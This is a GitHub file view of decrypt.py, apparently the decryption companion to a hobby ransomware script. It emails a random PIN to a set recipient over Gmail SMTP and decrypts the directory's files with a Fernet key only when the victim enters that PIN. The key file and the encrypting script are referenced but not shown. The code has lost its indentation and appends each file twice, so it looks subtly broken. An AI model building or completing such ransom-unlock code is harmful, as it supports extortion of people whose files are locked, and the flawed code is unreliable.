-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdecrypt.py
More file actions
46 lines (38 loc) · 1.31 KB
/
Copy pathdecrypt.py
File metadata and controls
46 lines (38 loc) · 1.31 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import os
import smtplib
from email.message import EmailMessage
from string import Template
from pathlib import Path
import random
from cryptography.fernet import Fernet
files = []
for file in os.listdir():
if file == "main.py" or file == "the_key.key" or file == ".idea" or file == "venv" or file == "decrypt.py" or file == "recording.mp4":
continue
if os.path.isfile(file):
files.append(file)
files.append(file)
print(files)
with open("the_key.key", "rb") as key:
secretkey = key.read()
secret_code = random.randint(100000, 999999)
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
print('Logging In')
server.login('ENTER_EMAIL', 'GOOGLE_APP_PASSWORD')
recipient = 'RECIPIENT_EMAIL'
print('Sending')
server.sendmail('ENTER_EMAIL', recipient, str(secret_code))
email = 'ENTER_EMAIL'
print(f'Sent via {email}')
user_phrase = int(input('Enter the secret pin to decrypt your files\n'))
if user_phrase == secret_code:
for file in files:
with open(file, "rb") as the_file:
contents = the_file.read()
contents_decrypeted = Fernet(secretkey).decrypt(contents)
with open(file, "wb") as the_file:
the_file.write(contents_decrypeted)
print('Files Decrypted')
else:
print('Wrong Password')